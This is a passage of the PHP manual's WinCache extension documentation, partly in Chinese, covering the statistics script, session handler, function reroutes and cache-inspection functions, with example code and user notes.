
A Google search returned nothing specific to this.

Stopping the App Pool and Deleting the *session*.tmp file in the windows temp directory solved this issue. (Thanks to previous noter)
ericsten at php dot net 02-Feb-2015 11:33
[Editor's note: fixed typo]

Just a quick note about something I've discovered through debugging a recent WinCache issue:

If you change the wincache.scachesize value, you MUST shutdown all php-cgi.exe instances and manually delete the wincache_session_*.tmp file.

The wincache_session_*.tmp file will in the directory specified by session.save_path in the php.ini file.

An example session file name would look like: wincache_session_1_565779.tmp

If you don't delete this file, you will run into corruption in cross-process shared memory segments for the WinCache session handler.  These will show up as 500 errors from your IIS server.

Thx!

    --E.


WinCache Statistics Script

The installation package for WinCache includes a PHP script, wincache.php, that can be used to obtain cache information and statistics.

If the WinCache extension was installed via the Microsoft Web Platform Installer, then this script is located in %SystemDrive%\Program Files\IIS\Windows Cache for PHP\. On a 64-bit version of the Windows Server operating system, the script is located in %SystemDrive%\Program Files (x86)\IIS\Windows Cache for PHP. If the extension was installed manually, then the wincache.php will be located in the same folder from which the content of the installation package was extracted.

To use wincache.php, copy it into a root folder of a Web site or into any subfolder. To protect the script, open it in any text editor and replace the values for USERNAME and PASSWORD constants. If any other IIS authentication is enabled on the server, then follow the instructions in the comments:

Example #1 Authentication configuration for wincache.php

<?php
/**
* ======================== CONFIGURATION SETTINGS ==============================
* If you do not want to use authentication for this page, set USE_AUTHENTICATION to 0.
* If you use authentication then replace the default password.
*/
define('USE_AUTHENTICATION', 1);
define('USERNAME', 'wincache');
define('PASSWORD', 'wincache');

/**
* The Basic PHP authentication will work only when IIS is configured to support
* Anonymous Authentication' and nothing else. If IIS is configured to support/use
* any other kind of authentication like Basic/Negotiate/Digest etc, this will not work.
* In that case use the array below to define the names of users in your
* domain/network/workgroup which you want to grant access to.
*/
$user_allowed = array('DOMAIN\user1', 'DOMAIN\user2', 'DOMAIN\user3');

/**
* If the array contains string 'all', then all the users authenticated by IIS
* will have access to the page. Uncomment the below line and comment above line
* to grant access to all users who gets authenticated by IIS.
*/
/* $user_allowed = array('all'); */

/** ===================== END OF CONFIGURATION SETTINGS ========================== */
?>

Note: Always protect the wincache.php script by using either the built-in authentication or the server's authentication mechanism. Leaving this script unprotected may compromise the security of your web application and web server.

User Contributed Notes

There are no user contributed notes for this page.


WinCache Session Handler

The WinCache session handler (available since WinCache 1.1.0) can be used to configure PHP to store the session data in shared memory session cache. Using shared memory instead of the default file session storage helps improve performance of PHP applications that store large amount of data in session objects. Wincache session cache uses file-backed shared memory, which ensures that the session data is not lost during recycling of IIS application pools.

To configure PHP to use WinCache session handler set the php.ini setting session.save_handler to wincache. By default the Windows temporary file location is used for storing the session data. To change the location of the session file use session.save_path directive.

Example #1 Enabling WinCache session handler

session.save_handler = wincache
session.save_path = C:\inetpub\temp\session\

User Contributed Notes

some at email dot com 16-Nov-2011 01:23
IF you use Apache and Session not work add to FCGID

DefaultInitEnv APP_POOL_ID "DefaultAppPool"
sethm at uoregon dot edu 06-Oct-2010 10:04
Just as an fyi to anyone who has similar issues. WinCache v1.1.x would not write sessions to files under certain conditions. This means that all sessions are lost whenever an app-pool recycle occur. Here is the work around:

If your app-pool name has periods (.) in it, change them to underscores (_). So an app-pool named www.somesite.com should be renamed to www_somesite_com.

You can see the discussion here:
http://forums.iis.net/p/1171996/1957839.aspx#1957839


WinCache Functions Reroutes

NOTE: wincache.rerouteini was removed as of WinCache 1.3.7.0. It has been replaced with automatic function reroutes. See: wincache.reroute_enabled.

The WinCache functions reroutes (available since WinCache 1.2.0, removed since WinCache 1.3.7.0) can be used to replace built-in PHP functions with their equivalents that are optimized for a particular purpose. WinCache extension includes Windows-optimized implementation of PHP file functions that may improve performance of PHP applications in cases when PHP has to access files on network shares. The optimized implementation is provided for the following functions:

  • file_exists
  • file_get_contents
  • readfile
  • is_readable
  • is_writable
  • is_dir
  • realpath
  • filesize

To configure WinCache to use the functions reroutes use the file reroute.ini that is included in WinCache installation package. Copy this file into the same directory where php.ini file is located. After that add the wincache.rerouteini setting in php.ini and specify an absolute or relative path to the reroute.ini file.

Example #1 Enabling WinCache functions reroutes

wincache.rerouteini = C:\PHP\reroute.ini

Note: If WinCache functions reroutes are enabled it is recommended to increase the WinCache file cache size. This can be done by using wincache.fcachesize setting.

The reroute.ini file contains the mappings between the native PHP functions and their equivalents in WinCache. Each line in the file defines a mapping by using the following syntax:

<PHP function name>:[<number of function parameters>]=<wincache function name>

The example of the file is shown below. In this example the calls to PHP function file_get_contents() will be replaced with calls to wincache_file_get_contents() only if the number of parameters passed to the function is less than or equals to 2. Specifying the number of parameters is useful when replacement function does not handle all the function's parameters.

Example #2 Reroute.ini file content

[FunctionRerouteList]
file_exists=wincache_file_exists
file_get_contents:2=wincache_file_get_contents
readfile:2=wincache_readfile
is_readable=wincache_is_readable
is_writable=wincache_is_writable
is_writeable=wincache_is_writable
is_file=wincache_is_file
is_dir=wincache_is_dir
realpath=wincache_realpath
filesize=wincache_filesize

User Contributed Notes

deivid dot garcia dot garcia at gmail dot com 26-Mar-2015 12:22
Prior to Wincache 1.3.7.0 rerouting was broken, see this in the official forums:

 http://forums.iis.net/t/1213205.aspx?Function+reroute+not+working]

After that version, file rerouting functions are enabled by default, to disable them use:

 wincache.reroute_enabled=0


WinCache 函数

Table of Contents

  • wincache_fcache_fileinfo — Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo — Retrieves information about file cache memory usage
  • wincache_lock — Acquires an exclusive lock on a given key
  • wincache_ocache_fileinfo — Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo — Retrieves information about opcode cache memory usage
  • wincache_refresh_if_changed — Refreshes the cache entries for the cached files
  • wincache_rplist_fileinfo — Retrieves information about resolve file path cache
  • wincache_rplist_meminfo — Retrieves information about memory usage by the resolve file path cache
  • wincache_scache_info — Retrieves information about files cached in the session cache
  • wincache_scache_meminfo — Retrieves information about session cache memory usage
  • wincache_ucache_add — Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_cas — Compares the variable with old value and assigns new value to it
  • wincache_ucache_clear — Deletes entire content of the user cache
  • wincache_ucache_dec — Decrements the value associated with the key
  • wincache_ucache_delete — Deletes variables from the user cache
  • wincache_ucache_exists — Checks if a variable exists in the user cache
  • wincache_ucache_get — Gets a variable stored in the user cache
  • wincache_ucache_inc — Increments the value associated with the key
  • wincache_ucache_info — Retrieves information about data stored in the user cache
  • wincache_ucache_meminfo — Retrieves information about user cache memory usage
  • wincache_ucache_set — Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_unlock — Releases an exclusive lock on a given key

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about files cached in the file cache

  • ? WinCache 函数
  • wincache_fcache_meminfo ?
  • PHP Manual
  • WinCache 函数
  • Retrieves information about files cached in the file cache

wincache_fcache_fileinfo

(PECL wincache >= 1.0.0)

wincache_fcache_fileinfo — Retrieves information about files cached in the file cache

说明

wincache_fcache_fileinfo(bool $summaryonly = false): array|false

Retrieves information about file cache content and its usage.

参数

summaryonly

Controls whether the returned array will contain information about individual cache entries along with the file cache summary.

返回值

Array of meta data about file cache 或者在失败时返回 false

The array returned by this function contains the following elements:

  • total_cache_uptime - total time in seconds that the file cache has been active
  • total_file_count - total number of files that are currently in the file cache
  • total_hit_count - number of times the files have been served from the file cache
  • total_miss_count - number of times the files have not been found in the file cache

  • file_entries - an array that contains the information about all the cached files:

    • file_name - absolute file name of the cached file
    • add_time - time in seconds since the file has been added to the file cache
    • use_time - time in seconds since the file has been accessed in the file cache
    • last_check - time in seconds since the file has been checked for modifications
    • hit_count - number of times the file has been served from the cache
    • file_size - size of the cached file in bytes

示例

Example #1 A wincache_fcache_fileinfo() example

<pre>
<?php
print_r(wincache_fcache_fileinfo());
?>
</pre>

以上示例会输出：

Array
(   [total_cache_uptime] => 3234
    [total_file_count] => 5
    [total_hit_count] => 0
    [total_miss_count] => 1
    [file_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 1
                    [use_time] => 0
                    [last_check] => 1
                    [hit_count] => 1
                    [file_size] => 2435
                )
            [2] => Array (...iterates for each cached file)
        )
)

参见

  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about file cache memory usage

  • ? wincache_fcache_fileinfo
  • wincache_lock ?
  • PHP Manual
  • WinCache 函数
  • Retrieves information about file cache memory usage

wincache_fcache_meminfo

(PECL wincache >= 1.0.0)

wincache_fcache_meminfo — Retrieves information about file cache memory usage

说明

wincache_fcache_meminfo(): array|false

Retrieves information about memory usage by file cache.

参数

此函数没有参数。

返回值

Array of meta data about file cache memory usage 或者在失败时返回 false

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the file cache
  • memory_free - amount of free memory in bytes available for the file cache
  • num_used_blks - number of memory blocks used by the file cache
  • num_free_blks - number of free memory blocks available for the file cache
  • memory_overhead - amount of memory in bytes used for the file cache internal structures

示例

Example #1 A wincache_fcache_meminfo() example

<pre>
<?php
print_r(wincache_fcache_meminfo());
?>
</pre>

以上示例会输出：

Array
(
    [memory_total] => 134217728
    [memory_free] => 131339120
    [num_used_blks] => 361
    [num_free_blks] => 3
    [memory_overhead] => 5856
)

参见

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Acquires an exclusive lock on a given key

  • ? wincache_fcache_meminfo
  • wincache_ocache_fileinfo ?
  • PHP Manual
  • WinCache 函数
  • Acquires an exclusive lock on a given key

wincache_lock

(PECL wincache >= 1.1.0)

wincache_lock — Acquires an exclusive lock on a given key

说明

wincache_lock(string $key, bool $isglobal = false): bool

Obtains an exclusive lock on a given key. The execution of the current script will be blocked until the lock can be obtained. Once the lock is obtained, the other scripts that try to request the lock by using the same key will be blocked, until the current script releases the lock by using wincache_unlock().

Warning

Using of the wincache_lock() and wincache_unlock() can cause deadlocks when executing PHP scripts in a multi-process environment like FastCGI. Do not use these functions unless you are absolutely sure you need to use them. For the majority of the operations on the user cache it is not necessary to use these functions.

参数

key

Name of the key in the cache to get the lock on.

isglobal

Controls whether the scope of the lock is system-wide or local. Local locks are scoped to the application pool in IIS FastCGI case or to all php processes that have the same parent process identifier.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Using wincache_lock()

<?php
$fp = fopen("/tmp/lock.txt", "r+");
if (wincache_lock("lock_txt_lock")) { // do an exclusive lock
ftruncate($fp, 0); // truncate file
fwrite($fp, "Write something here\n");
wincache_unlock("lock_txt_lock"); // release the lock
} else {
echo "Couldn't get the lock!";
}
fclose($fp);
?>

参见

  • wincache_unlock() - Releases an exclusive lock on a given key
  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache

User Contributed Notes

PrisonDoom 28-Jun-2019 10:04
The external link was off and the backslash "\" most of time are used for "scape character". Anyway, regards.
donraman at microsoft dot com 23-Apr-2010 06:11
User should be aware that character '\' is not allowed as part of lock name. The reason why backslash is not allowed is because we are using CreateMutex call as described at http://msdn.microsoft.com/en-us/library/ms682411(VS.85).aspx. As per this article third parameter cannot have '\' character which is the lock name.

This means below code will not work.

<?php

   $ret_val = wincache_lock("C:\WINDOWS\Temp/cache");
   echo $ret_val . '<br>';
   $ret_val = wincache_unlock("C:\WINDOWS\Temp/cache");
   echo $ret_val . '<br>';

?>


Retrieves information about files cached in the opcode cache

  • ? wincache_lock
  • wincache_ocache_meminfo ?
  • PHP Manual
  • WinCache 函数
  • Retrieves information about files cached in the opcode cache

wincache_ocache_fileinfo

(PECL wincache >= 1.0.0)

wincache_ocache_fileinfo — Retrieves information about files cached in the opcode cache

说明

wincache_ocache_fileinfo(bool $summaryonly = false): array|false

Retrieves information about opcode cache content and its usage.

Warning

该函数已在 PHP 7.0.0 中 移除。

参数

summaryonly

Controls whether the returned array will contain information about individual cache entries along with the opcode cache summary.

返回值

Array of meta data about opcode cache 或者在失败时返回 false

The array returned by this function contains the following elements:

  • total_cache_uptime - total time in seconds that the opcode cache has been active
  • total_file_count - total number of files that are currently in the opcode cache
  • total_hit_count - number of times the compiled opcode have been served from the cache
  • total_miss_count - number of times the compiled opcode have not been found in the cache
  • is_local_cache - true is the cache metadata is for a local cache instance, false if the metadata is for the global cache

  • file_entries - an array that contains the information about all the cached files:

    • file_name - absolute file name of the cached file
    • add_time - time in seconds since the file has been added to the opcode cache
    • use_time - time in seconds since the file has been accessed in the opcode cache
    • last_check - time in seconds since the file has been checked for modifications
    • hit_count - number of times the file has been served from the cache
    • function_count - number of functions in the cached file
    • class_count - number of classes in the cached file

示例

Example #1 A wincache_ocache_fileinfo() example

<pre>
<?php
print_r(wincache_ocache_fileinfo());
?>
</pre>

以上示例会输出：

Array
(
    [total_cache_uptime] => 17357
    [total_file_count] => 121
    [total_hit_count] => 36562
    [total_miss_count] => 201
    [file_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 17356
                    [use_time] => 7
                    [last_check] => 10
                    [hit_count] => 454
                    [function_count] => 0
                    [class_count] => 1
                )
            [2] => Array (...iterates for each cached file)
        )
)

参见

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about opcode cache memory usage

  • ? wincache_ocache_fileinfo
  • wincache_refresh_if_changed ?
  • PHP Manual
  • WinCache 函数
  • Retrieves information about opcode cache memory usage

wincache_ocache_meminfo

(PECL wincache >= 1.0.0)

wincache_ocache_meminfo — Retrieves information about opcode cache memory usage

说明

wincache_ocache_meminfo(): array|false

Retrieves information about memory usage by opcode cache.

参数

此函数没有参数。

返回值

Array of meta data about opcode cache memory usage 或者在失败时返回 false

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the opcode cache
  • memory_free - amount of free memory in bytes available for the opcode cache
  • num_used_blks - number of memory blocks used by the opcode cache
  • num_free_blks - number of free memory blocks available for the opcode cache
  • memory_overhead - amount of memory in bytes used for the opcode cache internal structures

Warning

该函数已在 PHP 7.0.0 中 移除。

示例

Example #1 A wincache_ocache_meminfo() example

<pre>
<?php
print_r(wincache_ocache_meminfo());
?>
</pre>

以上示例会输出：

Array
(
    [memory_total] => 134217728
    [memory_free] => 112106972
    [num_used_blks] => 15469
    [num_free_blks] => 4
    [memory_overhead] => 247600
)

参见

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Refreshes the cache entries for the cached files

  • ? wincache_ocache_meminfo
  • wincache_rplist_fileinfo ?
  • PHP Manual
  • WinCache 函数
  • Refreshes the cache entries for the cached files

wincache_refresh_if_changed

(PECL wincache >= 1.0.0)

wincache_refresh_if_changed — Refreshes the cache entries for the cached files

说明

wincache_refresh_if_changed(array $files = NULL): bool

Refreshes the cache entries for the files, whose names were passed in the input argument. If no argument is specified then refreshes all the entries in the cache.

参数

files

An array of file names for files that need to be refreshed. An absolute or relative file paths can be used.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

WinCache performs regular checks on the cached files to ensure that if any file has changed then the corresponding entry in the cache is updated. By default this check is performed every 30 seconds. If, for example, a PHP script updates another PHP script where the application's configuration settings are stored, then it may happen that after the configuration settings have been saved to a file, the application is still using old settings for some time until the cache is refreshed. In those cases it may be preferrable to refresh the cache right after the file has been changed. The following example shows how this can be done.

Example #1 A wincache_refresh_if_changed() example

<?php
$filename = 'C:\inetpub\wwwroot\config.php';
$handle = fopen($filename, 'w+');
if ($handle === FALSE) die('Failed to open file '.$filename.' for writing');
fwrite($handle, '<?php $setting=something; ?>');
fclose($handle);
wincache_refresh_if_changed(array($filename));
?>

参见

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about resolve file path cache

  • ? wincache_refresh_if_changed
  • wincache_rplist_meminfo ?
  • PHP Manual
  • WinCache 函数
  • Retrieves information about resolve file path cache

wincache_rplist_fileinfo

(PECL wincache >= 1.0.0)

wincache_rplist_fileinfo — Retrieves information about resolve file path cache

说明

wincache_rplist_fileinfo(bool $summaryonly = false): array|false

Retrieves information about cached mappings between relative file paths and corresponding absolute file paths.

参数

summaryonly

返回值

Array of meta data about the resolve file path cache 或者在失败时返回 false

The array returned by this function contains the following elements:

  • total_file_count - total number of file path mappings stored in the cache

  • rplist_entries - an array that contains the information about all the cached file paths:

    • resolve_path - path to a file
    • subkey_data - corresponding absolute path to a file

示例

Example #1 A wincache_rplist_fileinfo() example

<pre>
<?php
print_r(wincache_rplist_fileinfo());
?>
</pre>

以上示例会输出：

Array
(
    [total_file_count] => 5
    [rplist_entries] => Array
        (
            [1] => Array
                (
                    [resolve_path] => checkcache.php
                    [subkey_data] => c:\inetpub\wwwroot|c:\inetpub\wwwroot\checkcache.php
                )

            [2] => Array (...iterates for each cached file)
        )
)

参见

  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about memory usage by the resolve file path cache

  • ? wincache_rplist_fileinfo
  • wincache_scache_info ?
  • PHP Manual
  • WinCache 函数
  • Retrieves information about memory usage by the resolve file path cache

wincache_rplist_meminfo

(PECL wincache >= 1.0.0)

wincache_rplist_meminfo — Retrieves information about memory usage by the resolve file path cache

说明

wincache_rplist_meminfo(): array|false

Retrieves information about memory usage by resolve file path cache.

参数

此函数没有参数。

返回值

Array of meta data that describes memory usage by resolve file path cache. 或者在失败时返回 false

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the resolve file path cache
  • memory_free - amount of free memory in bytes available for the resolve file path cache
  • num_used_blks - number of memory blocks used by the resolve file path cache
  • num_free_blks - number of free memory blocks available for the resolve file path cache
  • memory_overhead - amount of memory in bytes used for the internal structures of resolve file path cache

示例

Example #1 A wincache_rplist_meminfo() example

<pre>
<?php
print_r(wincache_rplist_meminfo());
?>
</pre>

以上示例会输出：

Array
(
    [memory_total] => 9437184
    [memory_free] => 9416744
    [num_used_blks] => 23
    [num_free_blks] => 1
    [memory_overhead] => 416
)

参见

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about files cached in the session cache

  • ? wincache_rplist_meminfo
  • wincache_scache_meminfo ?
  • PHP Manual
  • WinCache 函数
  • Retrieves information about files cached in the session cache

wincache_scache_info

(PECL wincache >= 1.1.0)

wincache_scache_info — Retrieves information about files cached in the session cache

说明

wincache_scache_info(bool $summaryonly = false): array|false

Retrieves information about session cache content and its usage.

参数

summaryonly

Controls whether the returned array will contain information about individual cache entries along with the session cache summary.

返回值

Array of meta data about session cache 或者在失败时返回 false

The array returned by this function contains the following elements:

  • total_cache_uptime - total time in seconds that the session cache has been active
  • total_item_count - total number of elements that are currently in the session cache
  • is_local_cache - true is the cache metadata is for a local cache instance, false if the metadata is for the global cache
  • total_hit_count - number of times the data has been served from the cache
  • total_miss_count - number of times the data has not been found in the cache

  • scache_entries - an array that contains the information about all the cached items:

    • key_name - name of the key which is used to store the data
    • value_type - type of value stored by the key
    • use_time - time in seconds since the file has been accessed in the opcode cache
    • last_check - time in seconds since the file has been checked for modifications
    • ttl_seconds - time remaining for the data to live in the cache, 0 meaning infinite
    • age_seconds - time elapsed from the time data has been added in the cache
    • hitcount - number of times data has been served from the cache

示例

Example #1 A wincache_scache_info() example

<pre>
<?php
print_r(wincache_scache_info());
?>
</pre>

以上示例会输出：

Array
(
    [total_cache_uptime] => 17357
    [total_file_count] => 121
    [total_hit_count] => 36562
    [total_miss_count] => 201
    [scache_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 17356
                    [use_time] => 7
                    [last_check] => 10
                    [hit_count] => 454
                    [function_count] => 0
                    [class_count] => 1
                )
            [2] => Array (...iterates for each cached file)
        )
)

参见

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.


Retrieves information about session cache memory usage

  • ? wincache_scache_info
  • wincache_ucache_add ?
  • PHP Manual
  • WinCache 函数
  • Retrieves information about session cache memory usage

wincache_scache_meminfo

(PECL wincache >= 1.1.0)

wincache_scache_meminfo — Retrieves information about session cache memory usage

说明

wincache_scache_meminfo(): array|false

Retrieves information about memory usage by session cache.

参数

此函数没有参数。

返回值

Array of meta data about session cache memory usage 或者在失败时返回 false

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the session cache
  • memory_free - amount of free memory in bytes available for the session cache
  • num_used_blks - number of memory blocks used by the session cache
  • num_free_blks - number of free memory blocks available for the session cache
  • memory_overhead - amount of memory in bytes used for the session cache internal structures

示例

Example #1 A wincache_scache_meminfo() example

<pre>
<?php
print_r(wincache_scache_meminfo());
?>
</pre>

以上示例会输出：

Array
(
    [memory_total] => 5242880
    [memory_free] => 5215056
    [num_used_blks] => 6
    [num_free_blks] => 3
    [memory_overhead] => 176
)

参见

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache

User Contributed Notes

There are no user contributed notes for this page.


Adds a variable in user cache only if variable does not already exist in the cache

  • ? wincache_scache_meminfo
  • wincache_ucache_cas ?
  • PHP Manual
  • WinCache 函数
  • Adds a variable in user cache only if variable does not already exist in the cache

wincache_ucache_add

(PECL wincache >= 1.1.0)

wincache_ucache_add — Adds a variable in user cache only if variable does not already exist in the cache

说明

wincache_ucache_add(string $key, mixed $value, int $ttl = 0): bool
wincache_ucache_add(array $values, mixed $unused = NULL, int $ttl = 0): bool

Adds a variable in user cache, only if this variable doesn't already exist in the cache. The added variable remains in the user cache unless its time to live expires or it is deleted by using wincache_ucache_delete() or wincache_ucache_clear() functions.

参数

key

Store the variable using this key name. If a variable with same key is already present the function will fail and return false. key is case sensitive. To override the value even if key is present use wincache_ucache_set() function instad. key can also take array of name => value pairs where names will be used as keys. This can be used to add multiple values in the cache in one operation, thus avoiding race condition.

value

Value of a variable to store. Value supports all data types except resources, such as file handles. This paramter is ignored if first argument is an array. A general guidance is to pass null as value while using array as key. If value is an object, or an array containing objects, then the objects will be serialized. See __sleep() for details on serializing objects.

values

Associative array of keys and values.

ttl

Time for the variable to live in the cache in seconds. After the value specified in ttl has passed the stored variable will be deleted from the cache. This parameter takes a default value of 0 which means the variable will stay in the cache unless explicitly deleted by using wincache_ucache_delete() or wincache_ucache_clear() functions.

返回值

If key is string, the function returns true on success and false on failure.

If key is an array, the function returns:

  • If all the name => value pairs in the array can be set, function returns an empty array;
  • If all the name => value pairs in the array cannot be set, function returns false;
  • If some can be set while others cannot, function returns an array with name=>value pair for which the addition failed in the user cache.

示例

Example #1 wincache_ucache_add() with key as a string

<?php
$bar = 'BAR';
var_dump(wincache_ucache_add('foo', $bar));
var_dump(wincache_ucache_add('foo', $bar));
var_dump(wincache_ucache_get('foo'));
?>

以上示例会输出：

bool(true)
bool(false)
string(3) "BAR"

Example #2 wincache_ucache_add() with key as an array

<?php
$colors_array = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
var_dump(wincache_ucache_add($colors_array));
var_dump(wincache_ucache_add($colors_array));
var_dump(wincache_ucache_get('Blue'));
?>

以上示例会输出：

array(0) { }
array(4) {
  ["green"]=> int(-1)
  ["Blue"]=> int(-1)
  ["yellow"]=> int(-1)
  ["cyan"]=> int(-1)
}
string(1) "6"

参见

  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • __sleep()

User Contributed Notes

There are no user contributed notes for this page.


Compares the variable with old value and assigns new value to it

  • ? wincache_ucache_add
  • wincache_ucache_clear ?
  • PHP Manual
  • WinCache 函数
  • Compares the variable with old value and assigns new value to it

wincache_ucache_cas

(PECL wincache >= 1.1.0)

wincache_ucache_cas — Compares the variable with old value and assigns new value to it

说明

wincache_ucache_cas(string $key, int $old_value, int $new_value): bool

Compares the variable associated with the key with old_value and if it matches then assigns the new_value to it.

参数

key

The key that is used to store the variable in the cache. key is case sensitive.

old_value

Old value of the variable pointed by key in the user cache. The value should be of type long, otherwise the function returns false.

new_value

New value which will get assigned to variable pointer by key if a match is found. The value should be of type long, otherwise the function returns false.

返回值

